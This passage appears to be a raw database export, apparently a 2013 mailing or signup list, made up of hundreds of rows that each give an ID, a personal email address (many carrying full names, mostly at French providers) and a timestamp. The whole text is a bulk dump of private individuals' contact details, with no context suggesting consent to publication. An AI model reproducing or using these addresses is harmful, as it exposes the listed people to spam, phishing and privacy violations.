14:24:00; ; ;0 +302;marilou.souchet@orange.fr;2013-09-25 14:24:26; ; ;0 +303;christinebp@hotmail.fr;2013-09-25 14:25:20; ; ;0 +304;marylinejyky@orange.fr;2013-09-25 14:26:35; ; ;0 +305;dodyboop@live.fr;2013-09-25 14:28:02; ; ;0 +306;Fanncy@hotmail.fr;2013-09-25 14:28:22; ; ;0 +307;syldebem@aol.com;2013-09-25 14:28:39; ; ;0 +308;mh.grillon@yahoo.fr;2013-09-25 14:29:29; ; ;0 +309;nat.salvat@orange.fr;2013-09-25 14:31:03; ; ;0 +310;auteprovence@gmail.com;2013-09-25 14:31:24; ; ;0 +311;angelica6@live.fr;2013-09-25 14:31:29; ; ;0 +312;mariecup@yahoo.fr;2013-09-25 14:32:20; ; ;0 +313;nienie71@yahoo.fr;2013-09-25 14:33:05; ; ;0 +314;space.valentine@sfr.fr;2013-09-25 14:36:59; ; ;0 +315;ursula.marty@bbox.fr;2013-09-25 14:37:57; ; ;0 +316;eugenizam@yahoo.fr;2013-09-25 14:38:07; ; ;0 +317;sara.lecointre@ebuyclub.com;2013-09-25 14:39:10; ; ;0 +319;barbara@cugnet.fr;2013-09-25 14:40:09; ; ;0 +320;tonyomag@live.fr;2013-09-25 14:41:56; ; ;0 +321;catoupie@free.fr;2013-09-25 14:42:46; ; ;0 +322;o.abbad@orange.fr;2013-09-25 14:44:18; ; ;0 +323;micheline.corrard@orange.fr;2013-09-25 14:45:37; ; ;0 +324;michele.mayer@sfr.fr;2013-09-25 14:45:50; ; ;0 +325;c.fadat@laposte.net;2013-09-25 14:47:00; ; ;0 +326;yoyoganivet@sfr.fr;2013-09-25 14:47:09; ; ;0 +327;carolebx@gmail.com;2013-09-25 14:49:04; ; ;0 +328;chipie3@free.fr;2013-09-25 14:49:30; ; ;0 +329;sgtoffee83@hotmail.fr;2013-09-25 14:50:23; ; ;0 +330;valerie.c2a@orange.fr;2013-09-25 14:50:51; ; ;0 +331;fan.verdiere@orange.fr;2013-09-25 14:51:20; ; ;0 +332;yolande_m@msn.com;2013-09-25 14:54:21; ; ;0 +333;sophie.vaucelles@orange.fr;2013-09-25 14:55:08; ; ;0 +334;corinne7878@hotmail.fr;2013-09-25 14:56:08; ; ;0 +335;gelin.clotilde@neuf.fr;2013-09-25 14:56:19; ; ;0 +336;murielleloison@orange.fr;2013-09-25 14:56:40; ; ;0 +339;vallydarras@wanadoo.fr;2013-09-25 15:08:23; ; ;0 +340;acquarelli.augusteetanita@neuf.fr;2013-09-25 15:08:55; ; ;0 +341;sandrine.lescop0994@orange.fr;2013-09-25 15:09:59; ; ;0 +342;marylineverdier@free.fr;2013-09-25 15:12:22; ; ;0 +343;audetaillefer@hotmail.com;2013-09-25 15:12:34; ; ;0 +344;revegalette@gmail.com;2013-09-25 15:15:16; ; ;0 +345;bretaudeau.family@mageos.com;2013-09-25 15:16:24; ; ;0 +346;Laetimunoz@aol.com;2013-09-25 15:17:39; ; ;0 +347;nicole.detremmerie@sfr.fr;2013-09-25 15:18:37; ; ;0 +348;Marieghysel@wanadoo.fr;2013-09-25 15:19:20; ; ;0 +349;dekkichemalika@hotmail.fr;2013-09-25 15:19:29; ; ;0 +350;sydauv@sfr.fr;2013-09-25 15:22:49; ; ;0 +351;catherine.cloatre@laposte.net;2013-09-25 15:26:06; ; ;0 +352;stephanie_chopard_leonard@yahoo.fr;2013-09-25 15:26:08; ; ;0 +353;akima_dragon@hotmail.com;2013-09-25 15:26:59; ; ;0 +354;l.sylvie37@aliceadsl.fr;2013-09-25 15:28:10; ; ;0 +356;tatianawogenstahl@hotmail.fr;2013-09-25 15:36:48; ; ;0 +357;sotec.duall@wanadoo.fr;2013-09-25 15:39:48; ; ;0 +358;ssvisconti@aol.com;2013-09-25 15:43:05; ; ;0 +359;annie.pelte@hotmail.fr;2013-09-25 15:43:29; ; ;0 +360;liliane.vanmolle@skynet.be;2013-09-25 15:45:11; ; ;0 +361;camee1980@gmail.com;2013-09-25 15:46:04; ; ;0 +362;preau.nad@orange.fr;2013-09-25 15:46:15; ; ;0 +363;sylvette.bonnet@developpement-durable.gouv.fr;2013-09-25 15:46:16; ; ;0 +364;murielsoldati@wanadoo.fr;2013-09-25 15:46:59; ; ;0 +365;caroline.herou@sfr.fr;2013-09-25 15:47:41; ; ;0 +366;mallet.dom@free.fr;2013-09-25 15:48:27; ; ;0 +367;eledhwen7788@yahoo.fr;2013-09-25 15:48:30; ; ;0 +368;corinnefollain@neuf.fr;2013-09-25 15:49:43; ; ;0 +369;malhene@voila.fr;2013-09-25 15:52:27; ; ;0 +370;annie.terzariol@orange.fr;2013-09-25 15:55:07; ; ;0 +371;cancian.carole@laposte.net;2013-09-25 15:56:00; ; ;0 +372;smascreborri@yahoo.fr;2013-09-25 15:57:34; ; ;0 +373;valeriebalicki@sfr.fr;2013-09-25 16:01:04; ; ;0 +374;mailing50@yahoo.fr;2013-09-25 16:01:43; ; ;0 +375;anne.lecoffre@neuf.fr;2013-09-25 16:05:00; ; ;0 +376;lydiacolleaux@yahoo.fr;2013-09-25 16:10:33; ; ;0 +377;jjplouzen@orange.fr;2013-09-25 16:11:04; ; ;0 +378;joelle.61@orange.fr;2013-09-25 16:11:24; ; ;0 +379;cleochico@gmail.com;2013-09-25 16:12:36; ; ;0 +380;mvalessa@hotmail.fr;2013-09-25 16:13:00; ; ;0 +381;oldrey@hotmail.fr;2013-09-25 16:14:51; ; ;0 +382;fx.piedfort@wanadoo.fr;2013-09-25 16:15:12; ; ;0 +383;beatrice.coupas@laposte.net;2013-09-25 16:19:34; ; ;0 +384;elodie.balaban@laposte.net;2013-09-25 16:20:01; ; ;0 +385;ccfalzon@free.fr;2013-09-25 16:25:04; ; ;0 +386;annelamant@wanadoo.fr;2013-09-25 16:25:20; ; ;0 +387;oukiak@wanadoo.fr;2013-09-25 16:28:13; ; ;0 +388;stephanie.delbecq@laposte.net;2013-09-25 16:30:45; ; ;0 +389;Coralie27@hotmail.fr;2013-09-25 16:30:47; ; ;0 +390;cgollnhofer@free.fr;2013-09-25 16:31:25; ; ;0 +391;magali.clement@gmail.com;2013-09-25 16:31:33; ; ;0 +393;fonderemonique@orange.fr;2013-09-25 16:34:17; ; ;0 +394;little_pink_key@hotmail.fr;2013-09-25 16:35:02; ; ;0 +395;symagibl@gmail.com;2013-09-25 16:36:02; ; ;0 +396;maryline.lequitte@hotmail.fr;2013-09-25 16:38:20; ; ;0 +397;lydia-r@hotmail.fr;2013-09-25 16:41:52; ; ;0 +398;risbette@hotmail.fr;2013-09-25 16:42:35; ; ;0 +399;amarie15@neuf.fr;2013-09-25 16:44:17; ; ;0 +400;marie.becue@bbox.fr;2013-09-25 16:47:40; ; ;0 +401;ac.jannier2@orange.fr;2013-09-25 16:48:36; ; ;0 +403;rozbroj.cathy@orange.fr;2013-09-25 16:50:43; ; ;0 +404;lpoulard@wanadoo.fr;2013-09-25 16:54:51; ; ;0 +405;pcpascalechretien@gmail.com;2013-09-25 16:55:13; ; ;0 +406;mjoghenassia@yahoo.fr;2013-09-25 16:56:56; ; ;0 +407;juvavi@hotmail.fr;2013-09-25 16:57:17; ; ;0 +408;dg.besancon@orange.fr;2013-09-25 16:57:54; ; ;0 +409;e.lecoz@voila.fr;2013-09-25 16:58:35; ; ;0 +410;valerie.rouaud@gmail.com;2013-09-25 17:00:28; ; ;0 +411;cmchrisdom@aol.com;2013-09-25 17:05:02; ; ;0 +413;lbonneau@bcmp.fr;2013-09-25 17:12:55; ; ;0 +414;velvet.mccoy@free.fr;2013-09-25 17:20:45; ; ;0 +415;TB.Formation@wanadoo.fr;2013-09-25 17:21:58; ; ;0 +417;chrislc29@yahoo.fr;2013-09-25 17:22:28; ; ;0 +418;beatrice.lavandrier@hotmail.fr;2013-09-25 17:22:48; ; ;0 +419;edithlete@yahoo.fr;2013-09-25 17:23:46; ; ;0 +420;hugues.frederique@orange.fr;2013-09-25 17:25:19; ; ;0 +421;caroline.yris@wanadoo.fr;2013-09-25 17:25:23; ; ;0 +422;sylvia.babin@laposte.net;2013-09-25 17:25:25; ; ;0 +423;isabelle.mehaux@wanadoo.fr;2013-09-25 17:27:31; ; ;0 +424;catherine.galland06@orange.fr;2013-09-25 17:29:33; ; ;0 +425;michael.demessine@wanadoo.fr;2013-09-25 17:29:42; ; ;0 +426;fransudre@wanadoo.fr;2013-09-25 17:30:43; ; ;0 +427;claudie.larragueta@hotmail.fr;2013-09-25 17:30:57; ; ;0 +429;karsam@neuf.fr;2013-09-25 17:33:22; ; ;0 +430;3camelias@free.fr;2013-09-25 17:37:21; ; ;0 +431;zubora@orange.fr;2013-09-25 17:38:31; ; ;0 +432;elisur31@gmail.com;2013-09-25 17:39:24; ; ;0 +433;marie-pierre.gontier@orange.fr;2013-09-25 17:40:01; ; ;0 +434;annelisepagnier@gmail.com;2013-09-25 17:40:41; ; ;0 +435;singh.baljinder@neuf.fr;2013-09-25 17:41:05; ; ;0 +436;marlo.jak@hotmail.fr;2013-09-25 17:41:34; ; ;0 +437;delphine.massidda@gmail.com;2013-09-25 17:43:37; ; ;0 +438;mutel.samuel@orange.fr;2013-09-25 17:47:16; ; ;0 +439;fred.d31@hotmail.fr;2013-09-25 17:47:38; ; ;0 +440;linoa06@sfr.fr;2013-09-25 17:47:41; ; ;0 +441;anne.larski@bbox.fr;2013-09-25 17:47:53; ; ;0 +442;martine.thouard@laposte.net;2013-09-25 17:50:34; ; ;0 +443;olivia.dhordain@yahoo.fr;2013-09-25 17:51:07; ; ;0 +444;agathe.bioules@dbmail.com;2013-09-25 17:53:10; ; ;0 +445;dumas.sylvie@voila.fr;2013-09-25 17:53:22; ; ;0 +446;iglesias.vic@gmail.com;2013-09-25 17:54:11; ; ;0 +447;francoise.delaveau@hotmail.fr;2013-09-25 17:55:06; ; ;0 +448;claudine.claude85@wanadoo.fr;2013-09-25 17:55:16; ; ;0 +449;clairedebeaune@yahoo.fr;2013-09-25 17:56:50; ; ;0 +450;delphine.helin@yahoo.fr;2013-09-25 17:58:07; ; ;0 +451;kiliad@hotmail.fr;2013-09-25 17:58:19; ; ;0 +452;gloriamch@gmail.com;2013-09-25 17:58:54; ; ;0 +453;allayscourrege@neuf.fr;2013-09-25 18:03:52; ; ;0 +454;rouyerevillemur@free.fr;2013-09-25 18:04:17; ; ;0 +455;gosselin.marina@wanadoo.fr;2013-09-25 18:06:52; ; ;0 +456;marina.elies.76@gmail.com;2013-09-25 18:08:16; ; ;0 +457;btoussaint@noos.fr;2013-09-25 18:16:32; ; ;0 +458;emilie.marmonier@orange.fr;2013-09-25 18:18:25; ; ;0 +459;le-ruyet.marie@wanadoo.fr;2013-09-25 18:18:51; ; ;0 +460;h.angst@orange.fr;2013-09-25 18:18:55; ; ;0 +461;odile.charlesia@orange.fr;2013-09-25 18:21:38; ; ;0 +462;christine.glotz@wanadoo.fr;2013-09-25 18:21:54; ; ;0 +463;sandrine.gaudreau@orange.fr;2013-09-25 18:22:07; ; ;0 +464;mariolilaurence@gmail.com;2013-09-25 18:23:16; ; ;0 +465;laurence.fournier7@wanadoo.fr;2013-09-25 18:23:31; ; ;0 +466;christine.schnelzauer@laposte.net;2013-09-25 18:24:01; ; ;0 +467;corinne_b@skynet.be;2013-09-25 18:25:11; ; ;0 +468;odile.durcy@gmail.com;2013-09-25 18:26:34; ; ;0 +469;bp.mo@laposte.net;2013-09-25 18:26:36; ; ;0 +470;catou0001@yahoo.fr;2013-09-25 18:27:02; ; ;0 +471;ldsofie@hotmail.fr;2013-09-25 18:27:07; ; ;0 +472;brig.routier@orange.fr;2013-09-25 18:30:05; ; ;0 +473;sandmattmimi@free.fr;2013-09-25 18:33:23; ; ;0 +474;noemie.puechavy@orange.fr;2013-09-25 18:33:32; ; ;0 +475;robert.aptel@wanadoo.fr;2013-09-25 18:33:34; ; ;0 +476;nourajamal@hotmail.com;2013-09-25 18:33:50; ; ;0 +477;miarouma@free.fr;2013-09-25 18:38:12; ; ;0 +478;lebrun.nath@free.fr;2013-09-25 18:43:11; ; ;0 +480;rachel.colomer@laposte.net;2013-09-25 18:46:18; ; ;0 +481;maryseds84@gmail.com;2013-09-25 18:46:22; ; ;0 +482;jean-marc.bianchi0618@orange.fr;2013-09-25 18:48:53; ; ;0 +483;vanessalefievre@hotmail.fr;2013-09-25 18:49:05; ; ;0 +484;catherine.emont@orange.fr;2013-09-25 18:49:07; ; ;0 +485;francette.zorzi@wanadoo.fr;2013-09-25 18:49:40; ; ;0 +486;lawab2@hotmail.com;2013-09-25 18:50:19; ; ;0 +487;nathalie.bessiere@neuf.fr;2013-09-25 18:51:28; ; ;0 +488;nathaliedardonville@yahoo.fr;2013-09-25 18:53:33; ; ;0 +489;christianecelo@orange.fr;2013-09-25 18:56:56; ; ;0 +490;brionlaurence@gmail.com;2013-09-25 18:58:50; ; ;0 +491;kampai@free.fr;2013-09-25 19:00:37; ; ;0 +492;y.seymon@orange.fr;2013-09-25 19:02:01; ; ;0 +493;corinneprovost@laposte.net;2013-09-25 19:03:02; ; ;0 +494;brigitcasas@wanadoo.fr;2013-09-25 19:04:46; ; ;0 +495;domi.jacolot@orange.fr;2013-09-25 19:07:41; ; ;0 +496;annie.marin@aliceadsl.fr;2013-09-25 19:09:27; ; ;0 +497;fabienne.laurent.b@gmail.com;2013-09-25 19:14:00; ; ;0 +498;lucie.haag@gmail.com;2013-09-25 19:14:41; ; ;0 +499;wahl.emile@neuf.fr;2013-09-25 19:15:32; ; ;0 +500;nicole.topart@gmail.com;2013-09-25 19:15:35; ; ;0 +501;bfaches@gmail.com;2013-09-25 19:16:54; ; ;0 +502;mf-marti@hotmail.fr;2013-09-25 19:16:57; ; ;0 +503;marie.laly@orange.fr;2013-09-25 19:22:57; ; ;0 +504;nath.tellier@neuf.fr;2013-09-25 19:26:31; ; ;0 +505;kalb27@yahoo.com;2013-09-25 19:27:27; ; ;0 +506;michelmonney@orange.fr;2013-09-25 19:28:30; ; ;0 +507;annick.perreaut4@orange.fr;2013-09-25 19:28:50; ; ;0 +508;hague.diane@orange.fr;2013-09-25 19:28:57; ; ;0 +509;kty.andriot@free.fr;2013-09-25 19:30:02; ; ;0 +510;pharmacie.rubinstein@gmail.com;2013-09-25 19:32:01; ; ;0 +511;lambert.claire13@neuf.fr;2013-09-25 19:32:09; ; ;0 +512;virgpask@yahoo.fr;2013-09-25 19:32:12; ; ;0 +513;edith.gandiol@gmail.com;2013-09-25 19:32:13; ; ;0 +514;cecile.gandiol@gmail.com;2013-09-25 19:32:27; ; ;0 +515;beatrice.denizard@sfr.fr;2013-09-25 19:33:26; ; ;0 +516;mouma@photokoo.com;2013-09-25 19:34:29; ; ;0 +517;beduchaud.isabelle@neuf.fr;2013-09-25 19:34:37; ; ;0 +518;dominique.cornette490@dbmail.com;2013-09-25 19:35:33; ; ;0 +519;broquet.katia@gmail.com;2013-09-25 19:36:52; ; ;0 +520;josiane.grippier@gmail.com;2013-09-25 19:37:58; ; ;0 +521;ak.maas@live.fr;2013-09-25 19:38:41; ; ;0 +522;catherine.pestre@free.fr;2013-09-25 19:38:46; ; ;0 +523;sabsuinot@orange.fr;2013-09-25 19:38:52; ; ;0 +525;evelyne.courtois-deiber@orange.fr;2013-09-25 19:41:18; ; ;0 +526;isabelle.audidier@wanadoo.fr;2013-09-25 19:44:27; ; ;0 +527;yeshufilmdistribution@gmail.com;2013-09-25 19:44:37; ; ;0 +528;amandinepower@hotmail.com;2013-09-25 19:44:38; ; ;0 +529;catwoman@montataire.net;2013-09-25 19:47:16; ; ;0 +530;madu13@free.fr;2013-09-25 19:50:35; ; ;0 +531;grenon.sophie@gmail.com;2013-09-25 19:50:45; ; ;0 +532;canf.dubois@wanadoo.fr;2013-09-25 19:54:38; ; ;0 +533;cecile.sliwa@free.fr;2013-09-25 19:55:19; ; ;0 +534;fauconagnes@orange.fr;2013-09-25 19:56:56; ; ;0 +535;nellybouviala@hotmail.fr;2013-09-25 19:57:20; ; ;0 +536;cathdoriath@yahoo.fr;2013-09-25 19:57:57; ; ;0 +537;alinecrespo@hotmail.fr;2013-09-25 19:58:36; ; ;0 +538;gpourhiet@hotmail.fr;2013-09-25 19:59:10; ; ;0 +539;chris.huruguen@laposte.net;2013-09-25 19:59:22; ; ;0 +540;sahorabel@gmail.com;2013-09-25 20:01:22; ; ;0 +541;laurence.hennebique@laposte.net;2013-09-25 20:05:43; ; ;0 +542;hmarille@orange.fr;2013-09-25 20:06:38; ; ;0 +543;Magali.mession@club-internet.fr;2013-09-25 20:09:05; ; ;0 +544;sandrine.airiaud@laposte.net;2013-09-25 20:09:53; ; ;0 +545;pascale.grad@hotmail.fr;2013-09-25 20:10:23; ; ;0 +546;suzanne.berge@orange.fr;2013-09-25 20:16:07; ; ;0 +547;j.bennett@wanadoo.fr;2013-09-25 20:16:23; ; ;0 +548;celinedetoma@neuf.fr;2013-09-25 20:16:33; ; ;0 +549;muchette60@sfr.fr;2013-09-25 20:16:46; ; ;0 +550;daniele.schneider@aliceadsl.fr;2013-09-25 20:18:42; ; ;0 +551;garlot.ml@gmail.com;2013-09-25 20:21:10; ; ;0 +552;j.peyre519@laposte.net;2013-09-25 20:21:55; ; ;0 +553;markowiczanne@club-internet.fr;2013-09-25 20:22:42; ; ;0 +554;skobis.alexandra@neuf.fr;2013-09-25 20:24:15; ; ;0 +555;ludovic.faure24@gmail.com;2013-09-25 20:27:04; ; ;0 +556;cel.t@neuf.fr;2013-09-25 20:27:23; ; ;0 +557;christine.cochard26@sfr.fr;2013-09-25 20:30:11; ; ;0 +558;anne.trapet21@orange.fr;2013-09-25 20:30:11; ; ;0 +559;michael.thiebaut@orange.fr;2013-09-25 20:30:35; ; ;0 +560;christigarcia@hotmail.fr;2013-09-25 20:31:59; ; ;0 +561;isabellemazerolles@gmail.com;2013-09-25 20:35:27; ; ;0 +562;cristolceline@orange.fr;2013-09-25 20:38:52; ; ;0 +563;joss.56@neuf.fr;2013-09-25 20:38:53; ; ;0 +564;helene-bourgeois@wanadoo.fr;2013-09-25 20:38:59; ; ;0 +565;rouxpetel.camille@orange.fr;2013-09-25 20:39:48; ; ;0 +566;b.ventura@laposte.net;2013-09-25 20:42:49; ; ;0 +567;valerie.miroff@hotmail.fr;2013-09-25 20:43:06; ; ;0 +568;b.gardner@sfr.fr;2013-09-25 20:43:38; ; ;0 +569;pauline.du@voila.fr;2013-09-25 20:45:38; ; ;0 +570;vivireynaud@yahoo.fr;2013-09-25 20:46:40; ; ;0 +571;marie.lason@club-internet.fr;2013-09-25 20:50:09; ; ;0 +572;musette57@msn.com;2013-09-25 20:54:45; ; ;0 +573;cl.tourbier@wanadoo.fr;2013-09-25 21:01:32; ; ;0 +574;karin.giacomini@hotmail.fr;2013-09-25 21:03:49; ; ;0 +575;d.guillebault@laposte.net;2013-09-25 21:04:04; ; ;0 +576;ggmimi@sfr.fr;2013-09-25 21:07:36; ; ;0 +577;sandra-nicoli@orange.fr;2013-09-25 21:08:52; ; ;0 +578;pascaleulpat13@gmail.com;2013-09-25 21:09:42; ; ;0 +579;m.c.fourcade@free.fr;2013-09-25 21:11:18; ; ;0 +580;isabelle.gislon@gmail.com;2013-09-25 21:12:55; ; ;0 +581;nicole.heloise@wanadoo.fr;2013-09-25 21:13:18; ; ;0 +582;clotilde.cordier@wanadoo.fr;2013-09-25 21:15:37; ; ;0 +583;marieheleneesperaza@hotmail.fr;2013-09-25 21:16:01; ; ;0 +584;koshinage@hotmail.fr;2013-09-25 21:16:14; ; ;0 +585;mariepierre.anotta@neuf.fr;2013-09-25 21:19:18; ; ;0 +586;johan.deboudt@wanadoo.fr;2013-09-25 21:22:21; ; ;0 +587;c.menv@orange.fr;2013-09-25 21:25:17; ; ;0 +588;cheyenne6@wanadoo.fr;2013-09-25 21:25:21; ; ;0 +589;jean-marc.del@wanadoo.fr;2013-09-25 21:25:43; ; ;0 +590;jean-marc.del@wanadoo.frJ;2013-09-25 21:26:27; ; ;0 +591;carinebeaufigeau@orange.fr;2013-09-25 21:26:39; ; ;0 +592;magalie.blanquart@laposte.net;2013-09-25 21:32:11; ; ;0 +593;stephanie.bonnin@appui-tec.com;2013-09-25 21:33:23; ; ;0 +594;diana94400@hotmal.com;2013-09-25 21:34:38; ; ;0 +595;charlotte.salmon49@sfr.fr;2013-09-25 21:41:55; ; ;0 +596;carole.baillet.gomez@gmail.com;2013-09-25 21:42:28; ; ;0 +597;bluesaphyr@hotmail.fr;2013-09-25 21:47:33; ; ;0 +598;sylvianeseree@yahoo.fr;2013-09-25 21:47:49; ; ;0 +599;frederic.baralle@club-internet.fr;2013-09-25 21:47:59; ; ;0 +600;lucieseree@yahoo.fr;2013-09-25 21:48:13; ; ;0 +601;ajerire@yahoo.fr;2013-09-25 21:48:31; ; ;0 +602;claire.mainguene@wanadoo.fr;2013-09-25 21:48:44; ; ;0 +603;anne.ouvre-polloni@orange.fr;2013-09-25 21:49:30; ; ;0 +604;laurence95.m@orange.fr;2013-09-25 21:50:51; ; ;0 +605;nadinedudu@aol.com;2013-09-25 21:54:22; ; ;0 +606;r.jeannine1@yahoo.fr;2013-09-25 21:56:50; ; ;0 +607;pascale63610@hotmail.fr;2013-09-25 21:57:42; ; ;0 +608;nievesmiralles@yahoo.fr;2013-09-25 21:57:48; ; ;0 +609;Christine.leguille@sfr.fr;2013-09-25 22:08:24; ; ;0 +610;ggdaudon@orange.fr;2013-09-25 22:10:10; ; ;0 +611;ferrandclotilde@orange.fr;2013-09-25 22:12:51; ; ;0 +612;Lentaigne@voila.fr;2013-09-25 22:13:34; ; ;0 +613;angelique.choquet@orange.fr;2013-09-25 22:15:48; ; ;0 +614;s.baumstummler@laposte.net;2013-09-25 22:17:02; ; ;0 +615;martine.armand0890@orange.fr;2013-09-25 22:17:14; ; ;0 +617;karyne.rochard@sfr.fr;2013-09-25 22:20:39; ; ;0 +618;isabelle.lemaire@cegetel.net;2013-09-25 22:22:14; ; ;0 +619;glacerie@free.fr;2013-09-25 22:23:04; ; ;0 +620;osirissa1@hotmail.fr;2013-09-25 22:36:52; ; ;0 +621;zazadec@yahoo.fr;2013-09-25 22:55:08; ; ;0 +622;pascaline.sellier@gmail.com;2013-09-25 22:55:12; ; ;0 +623;Lucas.nat@hotmail.fr;2013-09-25 22:56:41; ; ;0 +624;ludivine-lelievre@sfr.fr;2013-09-25 22:59:53; ; ;0 +625;delphine.thierry@noos.fr;2013-09-25 23:03:38; ; ;0 +626;adnet51@aol.com;2013-09-25 23:10:37; ; ;0 +627;ngprevel@free.fr;2013-09-25 23:12:38; ; ;0 +628;nadinebocardlac@orange.fr;2013-09-25 23:15:14; ; ;0 +629;veveroniquegery@hotmail.fr;2013-09-25 23:15:27; ; ;0 +630;doudoutenamour@hotmail.com;2013-09-25 23:16:28; ; ;0 +631;sandrine_dujardin@hotmail.fr;2013-09-25 23:27:41; ; ;0 +632;porte.sylvie@free.fr;2013-09-25 23:43:59; ; ;0 +633;castrol2@hotmail.fr;2013-09-25 23:48:18; ; ;0 +634;elivitto@wanadoo.fr;2013-09-25 23:52:15; ; ;0 +635;ducasse.sylvie@neuf.fr;2013-09-25 23:58:01; ; ;0 +636;melosilla@orange.fr;2013-09-26 00:26:38; ; ;0 +637;christine.lecca@yahoo.fr;2013-09-26 00:40:20; ; ;0 +638;Paulinedemuysere@yahoo.fr;2013-09-26 00:47:57; ; ;0 +639;okapomka@live.fr;2013-09-26 03:46:57; ; ;0 +640;nathalie.defontaine@wanadoo.fr;2013-09-26 05:04:03; ; ;0 +641;jeromelepers@aol.com;2013-09-26 05:26:59; ; ;0 +642;hpatricia@laposte.net;2013-09-26 05:57:17; ; ;0 +643;blondisa@sfr.fr;2013-09-26 06:16:58; ; ;0 +644;sandrine_vig@hotmail.fr;2013-09-26 06:29:26; ; ;0 +645;emilievail@wanadoo.fr;2013-09-26 06:31:07; ; ;0 +646;ajjrenauld@free.fr;2013-09-26 06:37:49; ; ;0 +647;jocant@wanadoo.fr;2013-09-26 06:37:54; ; ;0 +648;audess@hotmail.fr;2013-09-26 06:52:27; ; ;0 +649;lilianedessans@hotmail.fr;2013-09-26 07:28:00; ; ;0 +650;patricia.prat0123@orange.fr;2013-09-26 07:33:02; ; ;0 +651;sophiegeslin@sfr.fr;2013-09-26 07:42:37; ; ;0 +652;patricia.soichey@gmail.com;2013-09-26 07:45:21; ; ;0 +653;dih.melissa@bbox.fr;2013-09-26 07:49:48; ; ;0 +654;vero.fo@netcourrier.com;2013-09-26 07:56:48; ; ;0 +655;alfa.simon@neuf.fr;2013-09-26 07:58:03; ; ;0 +656;philippe.veron11@wanadoo.fr;2013-09-26 07:58:19; ; ;0 +657;sophie.vallar@wanadoo.fr;2013-09-26 08:02:52; ; ;0 +659;chouinette1010@hotmail.fr;2013-09-26 08:06:04; ; ;0 +660;catherine.ber@hotmail.fr;2013-09-26 08:10:52; ; ;0 +661;anne.jacquet.pdm@orange.fr;2013-09-26 08:12:44; ; ;0 +662;d.dumont58@hotmail.fr;2013-09-26 08:20:53; ; ;0 +663;lisiane.clauss@wanadoo.fr;2013-09-26 08:21:04; ; ;0 +664;louis.barthez@orange.fr;2013-09-26 08:21:23; ; ;0 +665;s.jenot@orange.fr;2013-09-26 08:26:08; ; ;0 +666;mesfoc@yahoo.fr;2013-09-26 08:26:46; ; ;0 +667;florence.lazarko@wanadoo.fr;2013-09-26 08:27:07; ; ;0 +668;vanesss73@hotmail.fr;2013-09-26 08:36:12; ; ;0 +669;veromajot@gmail.com;2013-09-26 08:36:47; ; ;0 +670;pub.bournon@gmail.com;2013-09-26 08:37:29; ; ;0 +671;ssk85@orange.fr;2013-09-26 08:38:31; ; ;0 +672;jenny-18@hotmail.fr;2013-09-26 08:42:59; ; ;0 +673;delphinemaille@free.fr;2013-09-26 08:45:18; ; ;0 +674;dagunda@hotmail.fr;2013-09-26 08:51:13; ; ;0 +675;albertini.bernadette@wanadoo.fr;2013-09-26 08:54:56; ; ;0 +676;philippe.flandrin@sfr.fr;2013-09-26 09:09:17; ; ;0 +677;anniedassonville@eurequip.com;2013-09-26 09:11:56; ; ;0 +678;nia1965@live.fr;2013-09-26 09:14:12; ; ;0 +679;emilie.suray@wanadoo.fr;2013-09-26 09:14:48; ; ;0 +680;jm.paygnard@hotmail.fr;2013-09-26 09:22:31; ; ;0 +681;barbara.selva@bbox.fr;2013-09-26 09:24:48; ; ;0 +682;veronique.weisse@laposte.net;2013-09-26 09:29:32; ; ;0 +683;emilie.rantian@wanadoo.fr;2013-09-26 09:29:43; ; ;0 +684;catherine.baudoin@nicecotedazur.org;2013-09-26 09:30:27; ; ;0 +685;jocelyne.lombardo@wanadoo.fr;2013-09-26 09:33:08; ; ;0 +686;nadia.meddahiisis@laposte.net;2013-09-26 09:34:21; ; ;0 +687;nicole.luc@orange.fr;2013-09-26 09:39:24; ; ;0 +688;francois.bethel@gmail.com;2013-09-26 09:40:00; ; ;0 +689;danielle.morrot@wanadoo.fr;2013-09-26 09:41:11; ; ;0 +690;sophie.ricci@hotmail.fr;2013-09-26 09:43:33; ; ;0 +691;migdidier@free.fr;2013-09-26 09:48:08; ; ;0 +692;dhersghislaine@yahoo.fr;2013-09-26 09:49:52; ; ;0 +693;pat.b.06@orange.fr;2013-09-26 09:58:28; ; ;0 +694;marie-jo.pelerin@orange.fr;2013-09-26 10:00:37; ; ;0 +695;laetitia.neyroud@hotmail.fr;2013-09-26 10:02:37; ; ;0 +696;ghislaine.sarrasin@hotmail.fr;2013-09-26 10:05:59; ; ;0 +697;catherine.bevillard@orange.fr;2013-09-26 10:09:40; ; ;0 +698;boissieresylvie@yahoo.fr;2013-09-26 10:23:09; ; ;0 +699;corinne.bresson@wanadoo.fr;2013-09-26 10:30:55; ; ;0 +700;deleyefrancine@aol.com;2013-09-26 10:34:54; ; ;0 +701;helene.stricane@laposte.net;2013-09-26 10:38:15; ; ;0 +702;lydia.talamon@univ-lr.fr;2013-09-26 10:39:58; ; ;0 +703;blanchardsyl@wanadoo.fr;2013-09-26 10:53:05; ; ;0 +704;simone.favre@dbmail.com;2013-09-26 10:53:26; ; ;0 +705;sylflo.chenu@orange.fr;2013-09-26 10:53:36; ; ;0 +706;sarraud.francois@neuf.fr;2013-09-26 10:53:50; ; ;0 +707;pascale.schwib@gmail.com;2013-09-26 10:54:02; ; ;0 +708;p.zidaric@orange.fr;2013-09-26 10:54:07; ; ;0 +709;nmontanelli@sud-habitat.fr;2013-09-26 10:56:12; ; ;0 +710;aranjo.regis@neuf.fr;2013-09-26 10:56:36; ; ;0 +711;la.culardiere@free.fr;2013-09-26 10:59:09; ; ;0 +712;c.eleanor@free.fr;2013-09-26 11:03:22; ; ;0 +714;evelise-plenet@live.fr;2013-09-26 11:06:20; ; ;0 +715;syl.brevet@gmail.com;2013-09-26 11:16:06; ; ;0 +716;michelle.kletzel@laposte.net;2013-09-26 11:25:30; ; ;0 +717;thoisy@gmail.com;2013-09-26 11:39:02; ; ;0 +718;nellygineste@yahoo.fr;2013-09-26 11:46:47; ; ;0 +719;nicolini.philippe@orange.fr;2013-09-26 11:46:50; ; ;0 +720;patricia.lazzarotto@wanadoo.fr;2013-09-26 11:47:28; ; ;0 +721;lina24@cegetel.net;2013-09-26 11:59:51; ; ;0 +722;Menvielleyannick@hotmail.fr;2013-09-26 12:04:04; ; ;0 +723;mp13@hotmail.fr;2013-09-26 12:04:22; ; ;0 +724;valcrozatier@laposte.net;2013-09-26 12:14:22; ; ;0 +725;m.rabille@orange.fr;2013-09-26 12:17:36; ; ;0 +726;r.peypoudat@orange.fr;2013-09-26 12:18:23; ; ;0 +727;flob75@free.fr;2013-09-26 12:20:25; ; ;0 +728;clo.caraibes@hotmail.fr;2013-09-26 12:22:32; 